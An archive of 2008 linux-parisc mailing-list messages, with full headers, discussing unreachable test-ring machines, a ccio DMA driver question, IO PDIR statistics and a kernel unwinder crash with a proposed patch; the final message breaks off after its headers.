Subject: Re: Cupertino test ring problem?
Date: Fri, 1 Aug 2008 17:32:09 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20080801233209.GD26550@colo.lackof.org>
References: <1217254746.3503.61.camel@localhost.localdomain> <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org> <488F777E.6090405@hp.com> <20080729202603.GF24924@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217633548 1588 80.91.229.12 (1 Aug 2008 23:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Aug 2008 23:32:28 +0000 (UTC)
Cc: Rick Jones <rick.jones2@hp.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 02 01:33:18 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KP47Z-0007vx-T2
	for glpp-linux-parisc@gmane.org; Sat, 02 Aug 2008 01:33:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751688AbYHAXcV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Aug 2008 19:32:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751744AbYHAXcV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 1 Aug 2008 19:32:21 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:46464 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751673AbYHAXcU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Aug 2008 19:32:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2B1036F8039;
	Fri,  1 Aug 2008 17:32:20 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25690-10; Fri, 1 Aug 2008 17:32:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DC3566F8028; Fri,  1 Aug 2008 17:32:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080729202603.GF24924@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/581>

On Tue, Jul 29, 2008 at 02:26:03PM -0600, Matthew Wilcox wrote:
> On Tue, Jul 29, 2008 at 01:03:10PM -0700, Rick Jones wrote:
> > A couple of the rx2600's were not powered-up, so I've powered them up. 
> > One of the rp34xx's does not seem "happy" and will need further 
> > diagnosis.  If there are other things still "not right" with the ring, 
> > please feel free to let me know the specifics.
> 
> I can't connect to port 22 on any of gsyprf3, gsyprf10 or gsyprf11.

should all be working now.

thanks,
grant

> 
> -- 
> Intel are signing my paycheques ... these opinions are still mine
> "Bill, look, we understand that you're interested in selling us this
> operating system, but compare it to ours.  We can't possibly take such
> a retrograde step."
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio_mark_invalid(): would it have to clear a bit or byte?
Date: Sat, 02 Aug 2008 07:59:52 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <489413F8.1090502@scarlet.be>
References: <4884A25C.7000902@scarlet.be> <20080801161248.GA22961@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217664059 27422 80.91.229.12 (2 Aug 2008 08:00:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Aug 2008 08:00:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 02 10:01:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KPC3g-0001Tj-De
	for glpp-linux-parisc@gmane.org; Sat, 02 Aug 2008 10:01:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752054AbYHBIAu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Aug 2008 04:00:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752092AbYHBIAu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 2 Aug 2008 04:00:50 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:37744 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752054AbYHBIAt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Aug 2008 04:00:49 -0400
Original-Received: from [213.49.80.18] (ip-213-49-80-18.dsl.scarlet.be [213.49.80.18])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m727xrUm006656;
	Sat, 2 Aug 2008 09:59:55 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.16 (X11/20080724)
In-Reply-To: <20080801161248.GA22961@colo.lackof.org>
X-DCC--Metrics: hel 0; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/582>



Grant Grundler wrote:
> On Mon, Jul 21, 2008 at 02:51:08PM +0000, Joel Soete wrote:
>> Hello all,
>>
>> given this comment:
>>  * Given a virtual address (vba, arg2) and space id, (sid, arg1),
>>  * load the I/O PDIR entry pointed to by pdir_ptr (arg0). Each IO Pdir
>>  * entry consists of 8 bytes as shown below (MSB == bit 0):
> ...
>> and also this:
>>         while (byte_cnt > 0) {
>>                 /* clear I/O Pdir entry "valid" bit first */
>>                 ((unsigned char *) pdir_ptr)[7] = 0;
>>
>> So if I well understand 'Valid' field of a pdir entry is well of 1 bit but 
>> the code cleanup a all byte?
> 
> That's just a convenient way to clobber the bit we care about.
> The fact that the rest of the pdir remains available is irrelevant
> except for debugging (when we might dump IO Pdir to see the history.)
> 
Ok my worry was because other bits of this bytes was related to DMA behaviour of this U2 (Prefetch, Update, Lock, SafeDMA).

>> Is coding something like:
>> #define PTE_VALID_BIT_MASK      0xfffffffffffffffeULL	
>>
>> 		*pdir_ptr &= PTE_VALID_BIT_MASK;
> 
> That's a load/modify store of a 64-bit value.
> That substantially more instructions than a single byte store.
> 
Agree (but I am looking first to make this driver reliable)

>> wouldn't do better what comment says it does?
> 
> Yes, but the comment is just describing what needs to happen, not exactly how.
> The "entry valid" bit just needs to be cleared and it doesn't matter how.
> 
> hth
> grant
> 
Tx,
	J.

PS:
>> Well a short test seems to help but doesn't fix all issue:
>>
No that doesn't help at all :_(
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix unwind crash - was: Re: 2.6.26 kernel crash
Date: Sun, 3 Aug 2008 07:26:48 -0700
Lines: 111
Approved: news@gmane.org
Message-ID: <1e3eba760808030726l93f60dftdcec0c487933129b@mail.gmail.com>
References: <200807201846.11809.deller@gmx.de>
	 <200807201907.59762.deller@gmx.de> <488F7E32.4070204@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217773623 15722 80.91.229.12 (3 Aug 2008 14:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Aug 2008 14:27:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, "Kyle McMartin" <kyle@mcmartin.ca>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 03 16:27:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KPeYm-0005Rg-8S
	for glpp-linux-parisc@gmane.org; Sun, 03 Aug 2008 16:27:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755390AbYHCO0u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Aug 2008 10:26:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755546AbYHCO0u
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 Aug 2008 10:26:50 -0400
Original-Received: from yw-out-2324.google.com ([74.125.46.28]:42580 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755390AbYHCO0t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Aug 2008 10:26:49 -0400
Original-Received: by yw-out-2324.google.com with SMTP id 9so973604ywe.1
        for <linux-parisc@vger.kernel.org>; Sun, 03 Aug 2008 07:26:48 -0700 (PDT)
Original-Received: by 10.150.191.10 with SMTP id o10mr6580268ybf.161.1217773608501;
        Sun, 03 Aug 2008 07:26:48 -0700 (PDT)
Original-Received: by 10.151.103.18 with HTTP; Sun, 3 Aug 2008 07:26:48 -0700 (PDT)
In-Reply-To: <488F7E32.4070204@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/583>

(Apologize for my earlier html mail - resent in a more proper format)

Helge, your patch doesn't look quite right.

The kernel unwinder is only supposed to be called for kernel
addresses. Kyle says he thinks he knows what is wrong so he's going to
poke at it.

Maybe we can make the kernel unwinder more robust against invalid
addresses passed to it though.

thanks,
randolph

On Tue, Jul 29, 2008 at 1:31 PM, Helge Deller <deller@gmx.de> wrote:
>
> I narrowed down to the problematic codepath, and I assume the attached patch might fix it. Problem is, that I can't test without my testcase which is on gsyprf10 (which is unreachable right now), so this patch here is currently a RFC...
>
> Helge
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
>
> Helge Deller wrote:
>>
>> On Sunday 20 July 2008, Helge Deller wrote:
>>>
>>> While debugging some user-space stuff I just faced this 32bit kernel crash (2.6.26):
>>> Maybe someone has an idea?
>>
>> This is reproduceable.
>> Testcase and docu is here: http://gsyprf10.external.hp.com/~deller/crash.tgz
>>
>> Just run:
>> LD_LIBRARY_PATH=.  ./a.out
>>
>> Output is:
>> making contexts
>> swapping contexts
>> start f2
>> &on_stack=0x12d88
>> start f1(a0=1,a1=2,a2=3,a3=fffffffc)
>> <crash>
>>
>> Info:
>> - test program is from glibc:
>>        glibc-2.7/stdlib/tst-setcontext.c
>> - the compiled libc.so.6 includes some changes for *context() functions from me.
>>
>>
>>>
>>> Kernel Fault: Code=15 regs=5f578640 (Addr=000127ec)
>>>
>>>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>> PSW: 00000000000001001111110000001111 Not tainted
>>> r00-03  0004fc0f 10644f10 1011ee68 5f578288
>>> r04-07  00000014 8c1fe860 8c1fe828 8eb7d030
>>> r08-11  105ee890 00000040 0001264a 000d3b60
>>> r12-15  00000000 000d3b5c 000dde68 000b0000
>>> r16-19  8eb7d250 000b0000 ffffffff 000127ec
>>> r20-23  ffffe040 00000000 101205d4 00000000
>>> r24-27  00012800 101205cc 5f578288 1062ff10
>>> r28-31  00000000 000002ee 5f578640 10120630
>>> sr00-03  00000000 000013a7 00000000 000013a7
>>> sr04-07  00000000 00000000 00000000 00000000
>>>
>>> IASQ: 00000000 00000000 IAOQ: 1011ed04 1011ed08
>>>  IIR: 0e601093    ISR: 00000000  IOR: 000127ec
>>>  CPU:        0   CR30: 5f578000 CR31: ffffffff
>>>  ORIG_R28: 40400000
>>>  IAOQ[0]: unwind_frame_regs+0x214/0x244
>>>  IAOQ[1]: unwind_frame_regs+0x218/0x244
>>>  RP(r2): unwind_once+0x10/0x48
>>> Backtrace:
>>>  [<1011ee68>] unwind_once+0x10/0x48
>>>  [<10112bbc>] do_show_stack+0x28/0xac
>>>  [<10112cd0>] parisc_show_stack+0x90/0xa8
>>>  [<10111258>] do_page_fault+0x174/0x294
>>>  [<10113824>] handle_interruption+0x570/0x58c
>>>  [<10117078>] intr_check_sig+0x0/0x34
>>>
>>> Kernel panic - not syncing: Kernel Fault
>
> diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
> index 701b2d2..8b4708d 100644
> --- a/arch/parisc/kernel/unwind.c
> +++ b/arch/parisc/kernel/unwind.c
> @@ -341,8 +341,15 @@ static void unwind_frame_regs(struct unwind_frame_info *info)
>                        info->prev_sp = info->sp - frame_size;
>                        if (e->Millicode)
>                                info->rp = info->r31;
> -                       else if (rpoffset)
> -                               info->rp = *(unsigned long *)(info->prev_sp - rpoffset);
> +                       else if (rpoffset) {
> +                               unsigned long tmp;
> +
> +                               if (get_user(tmp,
> +                                      (unsigned long *)(info->prev_sp - rpoffset)))
> +                                       info->rp = 0;
> +                               else
> +                                       info->rp = tmp;
> +                       }
>                        info->prev_ip = info->rp;
>                        info->rp = 0;
>                }
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio-dma: is issue could be related to too much io_tlb entries?
Date: Mon, 4 Aug 2008 00:20:21 -0600
Lines: 101
Approved: news@gmane.org
Message-ID: <20080804062021.GC10519@colo.lackof.org>
References: <K4II37$FC5730FEE6DF5668DA61E723AC34CF60@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217830935 23796 80.91.229.12 (4 Aug 2008 06:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Aug 2008 06:22:15 +0000 (UTC)
Cc: grundler <grundler@parisc-linux.org>, kyle <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 04 08:23:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KPtTE-0005Vx-2m
	for glpp-linux-parisc@gmane.org; Mon, 04 Aug 2008 08:23:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751352AbYHDGWG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Aug 2008 02:22:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754017AbYHDGWG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Aug 2008 02:22:06 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:54692 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751352AbYHDGWF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Aug 2008 02:22:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 16C884F80FE;
	Mon,  4 Aug 2008 00:21:44 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19768-01; Mon, 4 Aug 2008 00:21:04 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 724204F80FA; Mon,  4 Aug 2008 00:20:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <K4II37$FC5730FEE6DF5668DA61E723AC34CF60@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/584>

On Thu, Jul 24, 2008 at 02:13:55PM +0100, Joel Soete wrote:
> Hello Grant, Kyle, et al.,
> 
> Iirc the number of io_tlb enties on this u2/uturn ioa is of 256?

ISTR that u2 and uturn have different number of IO TLB entries.
But I don't recall how many exactly. Need the ERSs to look that up.

> Because issue occur only when I do a lot of I/O on scsi disk (sometime request
> of mapping reach 128 pages), the idea was that it could induce some exceed of
> iotlb entries.
> 
> I so turn on some STAT (just used_pages) and grab following data:
> [snip]
> IO PDIR size    : 131072 bytes (16384 entries)
> IO PDIR entries : 16384 total  170 used (16214 free, 1%)
> Resource bitmap : 2048 bytes (16384 pages)
>   Bitmap search : 36221/36430/38793 (min/avg/max CPU Cycles)
> 
> IO PDIR size    : 131072 bytes (16384 entries)
> IO PDIR entries : 16384 total  235 used (16149 free, 1%)
> Resource bitmap : 2048 bytes (16384 pages)
>   Bitmap search : 36220/36346/37806 (min/avg/max CPU Cycles)
> 
> IO PDIR size    : 131072 bytes (16384 entries)
> IO PDIR entries : 16384 total  718 used (15666 free, 4%)
> Resource bitmap : 2048 bytes (16384 pages)
>   Bitmap search : 36222/36342/38472 (min/avg/max CPU Cycles)
> 
> ## issue occurs just when I ready above message.
> 
> IO PDIR size    : 131072 bytes (16384 entries)
> IO PDIR entries : 16384 total  444 used (15940 free, 2%)
> Resource bitmap : 2048 bytes (16384 pages)
>   Bitmap search : 36220/36330/37830 (min/avg/max CPU Cycles)
> [snip]
> 
> Even thought, I ended the stress test, the system continue to work smoothly
> with 444 used entries?

The number of "used" entries include "in flight" DMA and pci_consistent allocations. This generally isn't that many pages of RAM.

> Anyway, difference between those last 2 samples (718 - 444) = 274 increase of
> io_pdir entries.

That's about right for a SCSI device since it can't have that much
IO in flight for one or two disks.

> I also add a loop to bitcount entries of res_map and grab more:
> [snip]
> IO PDIR size    : 262144 bytes (32768 entries)
> IO PDIR entries : 32768 total  329 used (32439 free, 1%)
> IO PDIR entries : 329 res_map_count
> Resource bitmap : 4096 bytes (32768 pages)
>   Bitmap search : 36221/36626/38310 (min/avg/max CPU Cycles)
> 
> IO PDIR size    : 262144 bytes (32768 entries)
> IO PDIR entries : 32768 total  801 used (31967 free, 2%)
> IO PDIR entries : 801 res_map_count
> Resource bitmap : 4096 bytes (32768 pages)
>   Bitmap search : 36215/36325/37852 (min/avg/max CPU Cycles)
> 
> IO PDIR size    : 262144 bytes (32768 entries)
> IO PDIR entries : 32768 total  329 used (32439 free, 1%)
> IO PDIR entries : 329 res_map_count
> Resource bitmap : 4096 bytes (32768 pages)
>   Bitmap search : 36222/36883/38742 (min/avg/max CPU Cycles)
> 
> [...]
> 
> (in 1 second 801 - 329 = 472)
> 
> But continuing a bit test (by accident), I noticed that system can survive with:
> 
> IO PDIR size    : 262144 bytes (32768 entries)
> IO PDIR entries : 32768 total  1478 used (31290 free, 4%)
> IO PDIR entries : 1478 res_map_count
> Resource bitmap : 4096 bytes (32768 pages)
>   Bitmap search : 36223/36696/38463 (min/avg/max CPU Cycles)

Of course. The number of "used" entries in the IO Pdir has no direct
correlation to the number of "in use" IO TLB entries. IO TLB is fixed
size while the IO Pdir size can vary between boots.

> 
> Well as scatterlist is still puzzling me, I can still be confused between
> iommu and mmu pages mapping, sorry so in advance if it's yet another annoying
> comment.

IOMMU is an MMU for IO devices. MMU is the same thing for CPU.
Differences exist between those two. DMA is generally to larger
chunks/regions of RAM (256-2K bytes) while CPUs need to enforce
access rights (X/R/W) to memory and deal with cachelines or less.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Mon, 4 Aug 2008 10:59:08 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>
References: <1217254746.3503.61.camel@localhost.localdomain>
	 <488DFD62.4080307@hp.com> <20080728171500.GB16059@parisc-linux.org>
	 <488F777E.6090405@hp.com>
	 <1217363136.6103.68.camel@localhost.localdomain>
	 <488F842F.3040000@hp.com>
	 <1217369386.6103.73.camel@localhost.localdomain>
	 <20080731051524.GC18732@colo.lackof.org> <4891F5C0.8010307@hp.com>
	 <20080801233142.GC26550@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217840365 17574 80.91.229.12 (4 Aug 2008 08:59:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Aug 2008 08:59:25 +0000 (UTC)
Cc: "Parisc List" <linux-parisc@vger.kernel.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 04 11:00:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KPvvI-00058D-2h
	for glpp-linux-parisc@gmane.org; Mon, 04 Aug 2008 11:00:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752765AbYHDI7L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Aug 2008 04:59:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752856AbYHDI7L
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Aug 2008 04:59:11 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.235]:6707 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752765AbYHDI7J (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Aug 2008 04:59:09 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so1399502wri.5
        for <linux-parisc@vger.kernel.org>; Mon, 04 Aug 2008 01:59:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=gJuqnHwLHk7ZEPrDcrE2R+MkjXa+uNkjCuGYDFkmD2Y=;
        b=cDrFTbZ+ItjEJN8V9wMDcEz2PZFn1Ik8aRH7bC/sRe0YxJonWcFTo5Vglj6smNCbtu
         QOQkSlyGX9xmNfUtDodYmgwVCpUF/T87ndA3439/rtb57aX5dIbMC6oKyq9lZYs3Ap/+
         i73AHJyHHppiNuyKARGl0RPV3wyWEPfcixj+k=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=Iw1bmM6XDShBwUo92np2lOCWdj9/jyyceSCSxseTUxKOwAk3uXY6+XgH7cjtYzGMng
         J79ALrExarkKJM/ymp/nzm1g4SS2Szbs7dDNrqvt+Az758l1q7BJK1C6Ipbz8HdYXgCX
         yASMDbfgMM5ha5ps7TEdR7PTG9/gSKa/inad8=
Original-Received: by 10.90.66.5 with SMTP id o5mr18842392aga.94.1217840348748;
        Mon, 04 Aug 2008 01:59:08 -0700 (PDT)
Original-Received: by 10.90.63.6 with HTTP; Mon, 4 Aug 2008 01:59:08 -0700 (PDT)
In-Reply-To: <20080801233142.GC26550@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 29413d1119dc8dfe
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:585
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/585>

On Sat, Aug 2, 2008 at 1:31 AM, Grant Grundler
<grundler@parisc-linux.org> wrote:

> It wasn't and the default debian kernel didn't boot either.
> I've set the default kernel to jda's 2.6.22.19 patched kernel.

Is there a source tarball of that, or a list of applied patches? I
would very much like to use that "homebrew" kernel on my cluster as
well, until newer kernels are proven reliable enough...

Thx

T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Mon, 4 Aug 2008 11:34:12 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20080804153412.D8CA54EAE@hiauly1.hia.nrc.ca>
References: <7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217864065 31416 80.91.229.12 (4 Aug 2008 15:34:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Aug 2008 15:34:25 +0000 (UTC)
Cc: grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 04 17:35:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KQ25X-0005Lp-K9
	for glpp-linux-parisc@gmane.org; Mon, 04 Aug 2008 17:35:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753288AbYHDPeO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Aug 2008 11:34:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753325AbYHDPeO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 Aug 2008 11:34:14 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1986 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753288AbYHDPeO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Aug 2008 11:34:14 -0400
